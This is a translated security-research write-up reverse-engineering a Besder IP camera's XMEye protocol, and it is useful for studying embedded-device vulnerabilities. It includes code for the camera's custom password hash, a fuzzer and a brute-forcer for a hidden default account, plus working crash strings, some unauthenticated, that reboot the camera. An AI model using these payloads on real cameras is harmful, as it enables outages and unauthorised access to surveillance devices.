针对Besder网络摄像头的逆向分析和漏洞挖掘
2019-11-26 12:20:00 Author: www.4hou.com(查看原文) 阅读量:330 收藏

这篇文章,我会对Besder IP20H1网络摄像头进行逆向分析和漏洞挖掘。 

硬件方面,IP20H1有4个电线连接器,处理器仍然是一个HI3516,一种常见的IP摄像头SoC。

前期,我要做的就是捕获数据包,读取它们,之后再开始编写自己的客户端!但在此之前,我必须要做以下3件事:

1.获取所有端口号,源和目的地以及使用它们进行通信的人员的列表;

2.研究数据包的基本结构并弄清楚基本的格式;

3.查看客户端软件,以了解内部工作的线索。

逆向分

逆向分析使用的应用程序是XMEye应用程序,XMEye是一款监控软件,配套ipc、Dvr等前端监控设备,通过设备的序列号以云方式登录,将实时的监控画面显示的Android移动设备上并对设备进行预览操作,这意味着摄像头内置了DDNS连接。我为在网络中编写规则以防止摄像头访问互联网感到非常高兴。

在获取的第一个数据包中,我发现了一个20字节的序列,由1个单字节0xFF,13个0x00、0xFA05和最后4个0x00组成。我将其称为发现广播数据包(Discovery Broadcast Packet ,DBP)。

另外,还有一个类似于0xFA05的标记,即0xFB05,可能是客户端,而0xFB05是摄像头。从该数据包中,我可以看到选择的格式是JSON。使用自定义协议将更加容易,因为它的反序列化工作很简单。

查看标头,我可以看到数据包含一个0x3E,它恰好是数据的确切大小,不含20字节的标头。无论是在GitHub上,还是在其他任何搜索引擎上,在搜索名称“ GetSafetyAbility”时,找不到任何东西。另外,该协议还从UDP切换为了TCP。

遍历其余数据包,可以看到TCP数据流部分,因此我设置了一个简单的Wireshark过滤器,将结果过滤得更有条理。我只需要TCP PSH数据包即可:

tcp.flags.push == 1

当我用谷歌来检索这个包中的一些字符串时,发现了一些有趣的信息。

PasteBin

Gist

Github

在PasteBin中,有一些日志,查看其中的一些字符串可以获取一些有用的信息。首先,这是某种Android客户端,甚至可能是我已经安装的客户端,列出了它发送的JSON消息和一堆参数。

Gist尽管只是发送/接收数据包,没有什么太有趣的,但是文件中却包含着哈希密码。

Github里有最有趣的信息,它准确地描述了标头的制作方式。我关心的重要函数就是从sendSocketData开始的,它包含我真正关心的getSendDataInBinary函数调用。这将获取标头数据,并将其放入20字节缓冲区中,查看函数本身可以解释所有问题。

查看代码中用法的一个示例,可以看到所有字节实际上都是在Little Endian中排序的。

现在我知道secondInt实际上是SessionID!但是,通过查看fourthInt,我仍然不知道它是什么,但是它的值被硬编码到每个单独的命令中,所以我可以猜测,不管它是什么,它都与命令名或其他内容相关。然后,摄像头向客户端发送之前的命令的响应。

此时,客户端尝试登录设备,但是我已将默认密码更改为“password”,无论该密码是什么,它很可能是空白密码。之后的响应应该是“失败”,我可以看到下次登录尝试使用了不同的密码,并且实际上成功了。

我注意到,有趣的是,当身份验证失败时,报告说它是一个DVR,而在成功时则报告为IPC。但是到目前为止,关于是什么控制了SessionID字段的信息还很少。我可能需要解决这个问题。

获取哈希值

我最终也得到了一些密码,但是密码是经过哈希处理的,因此我需要找出制造商的方法。首先要注意的是,在其他捕获中,“密码”字段始终是相同的,这意味着可能我并非每次都在处理随机盐值。如果他们确实使用盐值,则必须将其硬编码到摄像头本身中,但这不太可能。这个哈希值真正奇怪的地方是,它是“MD5”,但哈希本身只有8个字节,而MD5有16个字节。这意味着存在某种哈希协议,但它是自定义的,并基于MD5构建。

进行了一番搜索后,我还是找不到关于此哈希格式的任何信息。在尝试过CyberChef和hash calculator等工具后,都没有成功。最后,还是在别人的帮助下找到了相关的信息。

最后,我使用了一些哈希系统的源代码来编写自己的Crystal哈希。

# Code translated from https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py


require "digest/md5"




module Dahua


  def self.compress(bytes : Slice(UInt8)) : Bytes


    i = 0


    j = 0


    output = Bytes.new(8, 0)




    while i < bytes.size


      output[j] = ((bytes[i].to_u32 + bytes[i+1].to_u32) % 62).to_u8


      if output[j] < 10


        output[j] += 48


      elsif output[j] < 36


        output[j] += 55




      else


        output[j] += 61


      end




      i = i+2


      j = j+1


    end


    output


  end




  def self.digest(password)


    md5_bytes = Digest::MD5.digest(password.encode("ascii"))


    compressed = compress(md5_bytes.to_slice)




    String.new(compressed)


  end

再根据我的一套方法,确定密码哈希。

"" = tlJwpbo6
"password" = mF95aD4o
"abcdef" = vfMMASaj
"123456" = nTBCS19C
"asdfghjkl" = MajKjGGZ
"000000000000000000000000" = lJ84MHiF

现在来做一些测试,看看是否可以跳过协议的某些部分!例如,开始的UDP跳可能是可跳过的,可以编写一个简单的程序尝试直接进入TCP端口34567。

require "./dahua_hash"
require "json"
require "socket"

def make_login_header(json)
"\xff\x01\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\xe8\x03#{String.new(Bytes[json.size])}\x00\x00\x00"
end

json_login = JSON.build do |json|
json.object do
json.field "EncryptType", "MD5"
json.field "LoginType", "DVRIP-Xm030"
json.field "UserName", "admin"
json.field "PassWord", Dahua.digest("password")
end
end

socket = TCPSocket.new("192.168.11.109", 34567)
socket << (make_login_header(json_login) + json_login)
reply = socket.gets
socket.close
if reply
reply_parsed = JSON.parse reply[20...reply.size]
if reply_parsed["Ret"] == 100
puts "SUCCESS!"
exit    
end
end
puts "FAILURE!"

工作过程如下:

SUCCESS!

[Done] exited with code=0 in 0.831 seconds

模糊测

在处理源代码时,我需要进行某些类型的测试,以确定如何正确格式化数据。在此示例中,我可以登录到摄像头,然后发送命令,然后获得SessionID。

0 = 0x00000001
1 = 0x00000002
2 = 0x00000003
3 = 0x00000004
4 = 0x00000005
5 = 0x00000006
6 = 0x00000007
7 = 0x00000008
8 = 0x00000009
[Done] exited with code=0 in 1.025 seconds

由于SessionID就像一个简单的增量器,因此我可以轻松地编写自己的值。了解摄像头如何产生其SessionID字段。

让我尝试登录后发送另一个命令,我首先将尝试重播命令SessionID,然后尝试使用随机的SessionID重播命令。这将使我对有效的方法和无效的方法有更深入的了解。

对于此命令,我将使用SystemInfo,客户端使用它来获得一些设置和版本号的列表。但SessionID字段中的播放显示摄像头并不使用它。我尝试了0x00000007、0x11111117和其他几个随机数,它们似乎都可以工作!

Success!
{
"Name" : "SystemInfo",
"Ret" : 100,
"SessionID" : "0x11111117",
"SystemInfo" : {
"AlarmInChannel" : 1,
"AlarmOutChannel" : 1,
"AudioInChannel" : 1,
"BuildTime" : "2018-08-29 09:00:36",
"CombineSwitch" : 0,
"DeviceModel" : "",
"DeviceRunTime" : "0x00000FFA",
"DeviceType" : 0,
"DigChannel" : 0,
"EncryptVersion" : "Unknown",
"ExtraChannel" : 0,
"HardWare" : "HI3516EV100_50H20L_S38",
"HardWareVersion" : "Unknown",
"SerialNo" : "41e6853ada5e9323",
"SoftWareVersion" : "V4.02.R12.00035520.12012.047500.00200",
"TalkInChannel" : 1,
"TalkOutChannel" : 1,
"UpdataTime" : "",
"UpdataType" : "0x00000000",
"VideoInChannel" : 1,
"VideoOutChannel" : 1
}
}

[Done] exited with code=0 in 0.86 seconds

在20个字节的标头中还有几个我无法解读的值,所以我写了一个模糊器,看它们到底是什么。

 Class that contains the basic process for making a message to/from the camera
class XMMessage
property type : UInt32
property session_id : UInt32
property unknown1 : UInt32
property unknown2 : UInt16
property magic : UInt16
property size : UInt32
property message : String

  #TODO: Allow for spoofing of size, for example changing size to say that its 32 bytes, when its 0 or something
def self.from_s(string)
io = IO::Memory.new string
m = XMMessage.new
m.type = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
m.session_id = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
m.unknown1 = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
m.unknown2 = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
m.magic = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
m.size = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
m.message = string[20..string.size]
m
end

def initialize(@type = 0x000001ff_u32, @session_id = 0_u32, @unknown1 = 0_u32, @unknown2 = 0_u16, @magic = 0_u16, @size = 0_u32, @message = "")
end

def magic1 : UInt8
(magic & 0xFF).to_u8
end

def magic2 : UInt8
(magic >> 8).to_u8
end

def make_header
header_io = IO::Memory.new
header_io.write_bytes(type, IO::ByteFormat::LittleEndian)
header_io.write_bytes(session_id, IO::ByteFormat::LittleEndian)
header_io.write_bytes(unknown1, IO::ByteFormat::LittleEndian)
header_io.write_bytes(unknown2, IO::ByteFormat::LittleEndian)
header_io.write_bytes(magic, IO::ByteFormat::LittleEndian)
header_io.write_bytes(self.message.size, IO::ByteFormat::LittleEndian)

header_io.to_s
end

def make : String
(make_header + self.message)
end
end

接下来,我制作了模糊器的主要部分,它将填充每个可能的字节值,等待响应,然后断开连接并循环。

关于这个工作的一些注意事项:

1.我要定位两个字节,第一个是magic1,然后是magic2。

2.模糊器本身必须具有极高的容错能力,因为使用它时会发生很多错误。

当我想运行它时,理想的结果如下:

class Command::SystemInfo < Command
def initialize(@session_id = 0)
super(magic1: 0xfc_u8, magic2: 0x03_u8, json: JSON.build do |json|
json.object do
json.field "Name", "SystemInfo"
json.field "SessionID", "0x#{@session_id.to_s(16).rjust(8, '0')}"
end
end)
end
end
File.open("logs/system_info.log", "w") do |file|
Fuzzer.run(
Command::SystemInfo.new(session_id: 0x11111117),
magic2: (0x3..0x6),
password: "password",
output: file
)
end

这将运行一段时间,最终产生结果,尽管结果准确,但速度太慢了!从0x3到0x8的单次扫描可能需要24小时。

幸运的是,我有一些想法可以使其更快。

在测试过程中,我注意到该协议的一个有趣之处,服务器(摄像头)允许对同一个IP地址开放任意数量的连接,只要它们都位于不同的端口上即可。这意味着如果我可以创建一个套接字组,就可以使用它们一次审核多个magic字段,每个magic字段都等待自己的响应,

你可以在GitHub上查看相关代码。

Fuzzing Command::SystemInfo
Time: 00:29:14.794430000
Current: 4096/4097 : 1000
Total Completion: 99.976%
Waiting for magics:
0x0ffc :  unused : 15642636659266745398 :   00:00:00.394592000
0x0ffd :  unused :  3995498554981886474 :   00:00:00.394431000
0x0ff1 :  unused : 16849123052220723596 :   00:00:00.424488000
0x0ffe :  unused : 15843022912141103538 :   00:00:00.385055000
0x0ff2 :  unused :   666834066939202384 :   00:00:00.424001000
0x0ff3 :  unused : 11959220922209025486 :   00:00:00.423846000
0x0ff4 :  unused :  9858625403406765244 :   00:00:00.423865000
0x0ff5 :  unused :    20212055150009910 :   00:00:00.423179000
0x0fff :  unused : 15147142017989187717 :   00:00:00.384266000
0x0ff6 :  unused : 16036212785124225768 :   00:00:00.423033000
0x0ff7 :  unused :  3934626923425214118 :   00:00:00.423048000
0x0fef :  unused :   784495433133620875 :   00:00:00.465630000
0x0ff0 :  unused :  8924739629740135316 :   00:00:00.465648000
0x0ff8 :  unused : 17166435733447359522 :   00:00:00.422446000
0x0ff9 :  unused : 11108002682450497409 :   00:00:00.422467000
0x0ffa :  unused : 11116907754345188397 :   00:00:00.421792000
0x0ffb :  unused :  8156710575546691230 :   00:00:00.421819000
0x1000 :  unused :  6252091348165092127 :   00:00:00.384556000
0x0fe9 :  unused :  5183855669207984885 :   00:00:00.751042000
0x0fea :  unused :   829040888724800310 :   00:00:00.750799000

Status
Factory: done
Last Check In: 2019-04-17 10:59:17 -07:00
Total Successes: 3983
Total Unique Replies: 49
Total Bad Results: 114
Error:
Errors: {}

使用此方法,我们可以在30分钟内将0x0的空间模糊化为0x1000 !每个光纤都将使用其自己的套接字,发送消息,然后等待接收。如果超时,它将丢弃该消息并移至下一条消息。

如果摄像头由于某种原因而关闭,则对超时设置2分钟的宽限期,以等待摄像头尝试响应。这样可以确保所有设备被覆盖。因为如果确实出现故障,则必须有人重新启动摄像头。

最常见的响应是

"{ \"Name\" : \"SystemInfo\", \"Ret\" : 102, \"SessionID\" : \"0x00000000\" }\n"

大约有4000种魔法字段,不过这是一个登录失败数据包。有趣的是,如果未获得密码或用户名205,它将响应一个不同的错误代码。

"{ \"AliveInterval\" : 0, \"ChannelNum\" : 0, \"DeviceType \" : \"DVR\", \"ExtraChannel\" : 10744252, \"Ret\" : 205, \"SessionID\" : \"0x0000000B\" }\n"
Bytes: ["0x03e8"]

不管做什么,都会返回响应成功的消息,所以有必要找出其中的原因:

"{ \"Name\" : \"\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x03ea", "0x0410", "0x0416", "0x041a", "0x0578", "0x05e0", "0x05dc", "0x05de", "0x0670", "0x06ea", "0x0684", "0x0676", "0x07d2"]

这就是“保持活动状态”,只要它收到一个保持活动状态的数据包,就可以保持与摄像头的连接。

"{ \"Name\" : \"KeepAlive\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x03ee"]

经过一些非常标准的结果以及对SystemInfo的实际响应,我最终进入了一个有趣的领域,即对该协议进行深入分析。

"{ \"Name\" : \"OPMonitor\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0582", "0x0585"]
"{ \"Name\" : \"OPPlayBack\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x058c", "0x0591"]
"{ \"Name\" : \"OPPlayBack\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0590"]
"{ \"Name\" : \"OPTalk\", \"Ret\" : 504, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0596"]
"{ \"Name\" : \"OPTalk\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x059a", "0x059b"]
"{ \"Name\" : \"\", \"Ret\" : 119, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05a0"]
"{ \"Name\" : \"OPLogQuery\", \"OPLogQuery\" : null, \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n"
Bytes: ["0x05a2"]
"{ \"Name\" : \"OPSCalendar\", \"OPSCalendar\" : { \"Mask\" : 0 }, \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n"
Bytes: ["0x05a6"]
"{ \"Name\" : \"\", \"Ret\" : 109, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05a8"]
"{ \"Name\" : \"OPTimeQuery\", \"OPTimeQuery\" : \"2000-12-07 02:55:43\", \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n"
Bytes: ["0x05ac"]
"{ \"Name\" : \"\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05b4", "0x0828"]

我们最初模糊的命令是“SystemInfo”,为什么返回的名称不同,比如OPSCalendar?这很有趣,这意味着不仅是magic field控制命令类型,这些命令中的一些并没有进行太多的错误检查,所以它们可以在以正确的方式运行时产生一些奇怪的结果。现在,我也有了新的命令名称来进行模糊处理。

"{ \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05be"]
"{ \"Ret\" : 100, \"SessionID\" : \"0x00000000\", \"Users\" : [ { \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Group\" : \"admin\", \"Memo\" : \"admin 's account\", \"Name\" : \"admin\", \"NoMD5\" : null, \"Password\" : \"mF95aD4o\", \"Reserved\" : true, \"Sharable\" : true }, { \"AuthorityList\" : [ \"Monitor_01\" ], \"Group\" : \"user\", \"Memo\" : \"default account\", \"Name\" : \"default\", \"NoMD5\" : null, \"Password\" : \"OxhlwSG8\", \"Reserved\" : false, \"Sharable\" : false } ] }\n"
Bytes: ["0x05c0"]
"{ \"Groups\" : [ { \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"administrator group\", \"Name\" : \"admin\" }, { \"AuthorityList\" : [ \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"user group\", \"Name\" : \"user\" } ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05c2"]

现在开始进行最核心的逆向分析了!

{ \"AuthorityList\" : [ \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"user group\", \"Name\" : \"user\" } ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"

我找到一个隐藏的用户帐户——“admin”帐户,仅具有一般权限。这个发现很重要!这是一个逆向分析的新办法。可能没有正确设置“权限列表”,这可能使我无需登录即可访问摄像头的功能。我还可以看到“admin”的完整权限列表,其中包括关机和升级权限。

BINARY FILE "{ \"command\" : \"sync\","
Bytes: ["0x0666"]

这个特别有趣,我的模糊器将其标记为“二进制文件”,因为它无法将其解析为JSON。似乎命令在发送过程中被切断了,也可能发生了一些有趣的事情(例如崩溃)。

BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\u000FiP\xB9\a\u0000\u0000"
Bytes: ["0x0606"]
BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xE6\xE5\x90\u0618\u0002\u0000\u0000\u0004"
Bytes: ["0x0608"]
BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xC4\u0003#\"\u0018\u0000\u0000"
Bytes: ["0x066c"]

我还获得了一些包含设置转储的zip文件,而有趣的是其中不包含我对摄像头尚不了解的任何内容。

BINARY FILE "\xFF\xD8\xFF\xE0\u0000\u0010JFIF\u0000\u0001\u0001\u0000\u0000\u0001\u0000\u0001\u0000\u0000\xFF"
Bytes: ["0x0618"]

0x0618为我提供了来自摄像头的图像,对后来的分析很有用。

总的来说,现在我已经对设备有了一些有趣的见解,及时我还没有模糊所有命令以及未经身份验证的用户帐户!

用户帐户“默认”最终会让我清楚地了解到发生了什么,由于它只有一般权限,所以它的大多数响应都没有多大意义。

Command results: Started at 2019-04-18 20:07:00 -07:00
Total time: 00:51:34.994305000
"{ \"AliveInterval\" : 0, \"ChannelNum\" : 0, \"DeviceType \" : \"DVR\", \"ExtraChannel\" : 10976316, \"Ret\" : 205, \"SessionID\" : \"0x000042C9\" }\n"
Bytes: ["0x03e8"]
"{ \"Name\" : \"\", \"Ret\" : 102, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x03f2", "0x080e"]
"{ \"Name\" : \"OPMonitor\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0585"]
"{ \"Name\" : \"OPPlayBack\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0590"]
"{ \"Name\" : \"OPTalk\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x059a"]
"{ \"Name\" : \"GetSafetyAbility\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\", \"authorizeStat\" : null }\n"
Bytes: ["0x0672"]
"{ \"Name\" : \"OPRecordSnap\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x07fc"]
"{ \"Name\" : \"\", \"Ret\" : 105, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0852"]
"{ \"Name\" : \"\", \"Ret\" : 106, \"SessionID\" : \"0x000066E9\" }\n"
Bytes: ["0x02ee", "0x0192", "0x00a7", "0x0e27", "0x0041", "0x01c1", "0x0032", "0x0fa6", "0x03f7", "0x0740", "0x0d85", "0x0c3e", "0x095d", "0x06ee", "0x02b7", "0x08ac", "0x0db9", "0x08d6", "0x00bb", "0x0b37", "0x0606", "0x0996", "0x0cfb", "0x0afa", "0x00ba", "0x0974", "0x0d51", "0x0906", "0x0f42", "0x05e2"]

用Radamsa进行模糊测试

Radamsa是一种基于fuzzer的通用变异形式。这款fuzzer适用于无经验的测试人员,因为它易于安装和使用,它可尝试根据输入结构的不同变化的引擎随机识别数据结构和变异。从我之前进行的行为模糊测试中,我知道默认情况下可以使用哪些命令,因此我应该对那些特定项目进行模糊测试,以查看是否会使它们行为异常。

File.open("./rsrc/op_monitor.txt", "w+") do |file|
file.print Command::OPMonitor.new(session_id: 0xabcdef00_u32).to_s
end

File.open("./logs/radamsa/op_monitor.log", "w+") do |file|
puts "Testing connection"
socket = MagicSocket.new("192.168.11.109", 34567)
socket.login "default", Dahua.digest("tluafed")
xmm = Command::OPMonitor.new
socket.send_message xmm
puts "SENT: #{xmm.message}"
reply = socket.receive_message
puts "GOT: #{reply.message}"

1000.times do |x|
begin
socket = MagicSocket.new("192.168.11.109", 34567)
socket.login "default", Dahua.digest("tluafed")
message = `radamsa ./rsrc/op_monitor.txt`
file.puts "SENT: #{message.inspect}"
socket.send message
reply = socket.receive_message
file.puts "GOT: #{reply.message.inspect}"
rescue e : MagicError::SocketException
puts "SOCKET DOWN! #{e.inspect}"
raise e
rescue e : MagicError::Exception
file.puts "ERROR: #{e.inspect}"
puts "ERROR: #{e.inspect}"
rescue e
file.puts "BAD ERROR: #{e.inspect}"
puts "BAD ERROR: #{e.inspect}"
end
end
end

我先向OPMonitor发出一条消息,然后将其输出到文件中,然后通过Radamsa发送该文件,然后将其模糊数据发送到摄像头。在大约100次左右的尝试后,最终找到了一种方法,可以在重新启动摄像头时中断客户端和摄像头服务器约120秒。此字符串通过ping,连接等方式关闭了摄像头,这意味着摄像头本身实际上已重新启动。

crash_string = "\xFF\u0001\u0000\u0000\u0000\xEF\xCD\xAB\u0000\u0000\u0000\u0000\u0000\u0000\x85\u0005\xA0\u0000\u0000\xE1\u0000{\"Name\":\"OPMonitor\",\"OPMonitor\",\"OPMonitor\":{\"Action\":\"Claim\",\"Parmeter\":{\"Channel\":0,\"CombinModeใ\":\"N󠁢ONE\",\"Parmeter\":{\"Channel\":0,\"CombinModeใ\":\"N󠁢ONE\",\"Stre amT\u000E\xFE\xFFype\":\"Main\",\"TransMode\":\"TCP\"}},\"Sess󠁎ionID\":\"4294967296xAbcdef256\"}"
socket = MagicSocket.new("192.168.11.109", 34567)
socket.login "default", Dahua.digest("tluafed")
socket.send crash_string
puts "SENT: #{crash_string.inspect}"
reply = socket.receive_message
puts "GOT: #{reply.message}"

此时,Radamsa已经帮助我找到了一个漏洞!

关于模糊测试的说明

我可以肯定地说,该协议的工作方式存在一些奇怪之处和矛盾之处,这对渗透测试来说往往是有益的。协议越陌生,就越有可能犯错误。

暴力破解密码

要找出纯文本密码,我必须进行暴力破解上述的哈希值。

require "./dahua_hash"

module Brute
def self.run(hash : String, start = "a") : String
current = start

counter = 0
success = false

start_time = Time.now
until success
if Dahua.digest(current) == hash
puts "SUCCESS!!!"
success = true
break
end

counter += 1
current = current.succ

if counter % 1_000_000 == 0
puts " @ #{current} : #{Time.now - start_time}"
elsif counter % 10_000 == 0
print '.'
end
end
end_time = Time.now

puts "Time: #{end_time - start_time}"
puts "Result: #{current} : #{Dahua.digest(current)}"
current
end
end

由于我知道“用户”帐户的详细信息,因此我要做的就是将其插入BAM!

Brute.run("OxhlwSG8")

大约16个小时后,我将得到字符串“tluafed”或“default”。

发现的拒绝服务攻击漏洞

在使用Radamsa的过程中,我发现了一个DoS,该DoS将通过无特权的用户帐户关闭我的摄像头。让我找出导致崩溃的确切原因!我会备份字符串,然后把它们拆分,直到运行崩溃。

我做的第一件事是删除数据包的“消息”部分,DoS仍然有效。之后,我开始删除标头的位,这也是错误的大小。我还更改了其中的值,以查看导致崩溃的原因和未导致崩溃的原因。我发现大小字段超过0x80000000会导致崩溃。

crash_string = "\xFF" + ("\x00"*13) + "\x85\x05" + "\x00\x00\x00\x80"

这表示很可能有人将带符号变量用于无符号整数,因为大小永远不能小于0,这可能会导致某种整数溢出漏洞,可能是因为程序正在尝试读入消息大小,它远远超出了预期,或者为负值,从而导致崩溃。

当前,该漏洞利用OPMonitor的魔法字段,但是这个漏洞应该会影响我们可以访问的任何命令,因为“login”命令是最不受保护的,它应该是下一个目标。

crash_string = "\xFF" + ("\x00"*13) + "\xe8\x03" + "\x00\x00\x00\x80"
socket = MagicSocket.new("192.168.11.109", 34567)
#socket.login "default", Dahua.digest("tluafed")
socket.send crash_string
puts "SENT: #{crash_string.inspect}"
reply = socket.receive_message
puts "GOT: #{reply.message}"

这将产生以下结果:

SENT: "\xFF\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\xE8\u0003\u0000\u0000\u0000\x80"
Unhandled exception:  (MagicError::ReceiveEOF)
from src/magic_fuzzer/magic_socket.cr:0:7 in 'receive_message'
from src/sandbox.cr:69:1 in '__crystal_main'
from /usr/share/crystal/src/crystal/main.cr:97:5 in 'main_user_code'
from /usr/share/crystal/src/crystal/main.cr:86:7 in 'main'
from /usr/share/crystal/src/crystal/main.cr:106:3 in 'main'
from __libc_start_main
from _start
from ???

ReceiveEOF证明套接字已关闭并且服务器已关闭。

摄像头将关闭约2分钟,同时在重新启动时仍会在短时间内响应ping。客户端在此重新引导期间无法连接,详细视频请点此

通过进一步努力,在Radamsa的帮助下,我找到了两个新的漏洞,“消息引用”和“选项错误类型”漏洞。

消息引用DoS

这利用了JSON处理中的一些漏洞,当给定一条完全由两个引号组成的消息时,摄像头崩溃。

选项错误类型DoS

这利用了摄像头服务器处理JSON的另一个漏洞。该漏洞仅适用于特定的命令,OPTalk,OPMonitor和OPRecordSnap。发送这些命令时,可以选择在根目录下包含与选项相同名称的选项哈希。

{
  "Name": "OPMonitor",
  "OPMonitor":  {
    "Action": "Claim",
    "Action1":  "Start",
    "Parameter":  {
      "Channel":  0,
      "CombinMode": "NONE",
      "StreamType": "Main",
      "TransMode":  "TCP"
    }
  },
  "SessionID":  "0x0000000007"
}

在“ OPMonitor”项下,有一个哈希选项。服务器始终希望“ OPMonitor”项下的该选项始终是哈希选项。但是,我可以通过将哈希替换为非嵌套类型(例如字符串或数字)来使摄像头崩溃。例如,以下字符串就会使摄像头崩溃。

{
  "Name": "OPMonitor",
  "OPMonitor": 0,
  "SessionID":  "0x0000000007"
}

客户端劫持

既然我在设备上有了攻击点,那就可以在对客户端进行攻击时使用这些DoS命令关闭摄像头,进行客户端劫持。

本文翻译自:http://blog.0x42424242.in/2019/04/besder-investigative-journey-part-1_24.html 与 http://blog.0x42424242.in/2019/05/besder-investigative-journey-part-2.html如若转载,请注明原文地址: https://www.4hou.com/web/21683.html


文章来源: https://www.4hou.com/web/21683.html
如有侵权请联系:admin#unsafe.sh